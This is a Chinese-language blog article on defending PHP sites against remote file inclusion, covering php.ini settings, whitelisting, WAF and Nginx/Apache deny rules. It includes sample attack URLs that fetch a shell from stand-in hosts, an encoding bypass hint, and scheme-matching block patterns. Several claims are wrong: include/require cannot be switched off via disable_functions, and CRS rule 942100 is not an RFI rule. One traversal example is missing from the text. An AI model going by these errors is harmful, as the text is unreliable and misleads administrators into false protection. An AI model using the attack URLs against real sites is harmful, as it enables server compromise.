远程文件包含如何拦截

wen 开源项目 32

本文目录导读:

远程文件包含如何拦截

  1. 应用层配置(最根本的防御)
  2. Web 服务器配置(WAF 与规则)
  3. 服务器系统级防御
  4. 输入验证与输出编码
  5. 最佳实践总结
  6. 实际拦截效果示例

针对远程文件包含(RFI)攻击的拦截,核心思路是阻止服务器从外部 URL 获取并执行文件,以下是几个层面的拦截和防御措施:

应用层配置(最根本的防御)

这是控制 RFI 的关键,因为 RFI 通常通过 PHP 等语言的函数实现。

  • 禁用 allow_url_include

    • 在 PHP 中,这是 RFI 的开关。务必在 php.ini 或服务器配置中将其设为 Off
    • 配置:allow_url_include = Off
    • 建议也将 allow_url_fopen 设为 Off 或仅限白名单使用,因为它是 RFI 的辅助条件。
  • 严格过滤用户输入

    • 不要直接使用 $_GET$_POST 等参数作为文件路径。include($_GET['page']); 是典型的高危写法。
    • 白名单机制:只允许包含预定义的、安全的文件列表。
      // 只允许从数组中选择文件
      $whitelist = ['home.php', 'about.php', 'contact.php'];
      $page = $_GET['page'];
      if (in_array($page, $whitelist)) {
          include($page);
      } else {
          // 错误处理
      }
    • 清理路径:如果必须使用动态路径,过滤掉 http://https://ftp:// 等协议标识符,以及 等目录遍历符号,使用 basename()realpath() 等函数处理。
  • 禁用危险函数

    • php.inidisable_functions 中列出 includeinclude_oncerequirerequire_oncefopenfile_get_contentscurl_exec 等函数,除非绝对必要。

Web 服务器配置(WAF 与规则)

在 Nginx 或 Apache 层面进行拦截。

  • 配置 Web 应用防火墙(WAF)

    • ModSecurity:最常用的开源 WAF,配合 OWASP 核心规则集(CRS),它会拦截包含 http://https://ftp:// 等模式的参数请求,规则 942100 专门检测 SQL 注入和 RFI。
    • Cloudflare WAF:开启后自动拦截常见的 RFI 尝试(如 ?page=http://evil.com/shell.txt?)。
    • AWS WAF / Azure WAF:云平台内置的 WAF 一般都有对应的规则。
  • Nginx if 限制

    • serverlocation 块中添加条件,拒绝包含特定模式的请求参数:
      if ($args ~* "http://|https://|ftp://") {
          return 403;
      }
  • Apache mod_rewrite

    • .htaccess 或虚拟主机配置中:
      RewriteCond %{QUERY_STRING} (http|https|ftp):// [NC]
      RewriteRule ^ - [F,L]

服务器系统级防御

  • 禁用危险 PHP 组件:确保 php.ini 中未启用 curlftp 等扩展,或在使用时严格限制。
  • 设置 open_basedir:在 php.ini 中限制 PHP 访问的文件路径范围,防止跨目录攻击,但注意,open_basedir 无法阻止 RFI(因为 RFI 通过 URL 访问,不涉及本地路径),需结合其他措施。
  • 使用 SELinux/AppArmor:对 Web 服务进程(如 httpdphp-fpm)实施强制访问控制,阻止其向外部发起 HTTP 请求。

输入验证与输出编码

  • 检查 $_SERVER['HTTP_REFERER']:验证请求来源,但不可靠(可伪造),不建议作为唯一防御。
  • 检查 $_SERVER['QUERY_STRING']:对查询字符串进行正则匹配,过滤 httpftp 等协议。if (preg_match('/^https?:\/\//', $_GET['file'])) { die(); }

最佳实践总结

  1. 优先使用白名单:完全避免动态包含,若必须,使用预定义数组。
  2. 关键配置allow_url_include = Off(必须)、allow_url_fopen = Off(建议)。
  3. 启用 WAF:无论是 ModSecurity 还是云 WAF,都能有效拦截 90% 以上的扫描。
  4. 输入验证:不要相信任何用户输入,过滤 http://、 等危险字符。
  5. 日志监控:定期检查 Web 服务器日志,留意包含 http:// 的请求参数,以及 403/500 错误,及时发现攻击尝试。

实际拦截效果示例

假设攻击请求:http://yoursite.com/index.php?page=http://malware.com/shell.txt

  • 生效的拦截

    • PHP 侧:allow_url_include = Off 导致 include() 直接失败(返回空或错误)。
    • WAF 侧:ModSecurity/Cloudflare 检测到参数中有 http://,直接返回 403 或 406(不可接受)。
    • 服务器侧:Nginx 的 if 规则匹配,返回 403。
  • 失效的情况

    • PHP 侧:allow_url_include = On 且未过滤任何输入。
    • WAF 侧:规则未启用或定制规则绕过(如使用 %68ttp:// 编码)。

核心建议:不要依赖单一防御层,将 PHP 配置禁用 RFI 作为底线,再结合 WAF 规则输入白名单,形成纵深防御。

抱歉,评论功能暂时关闭!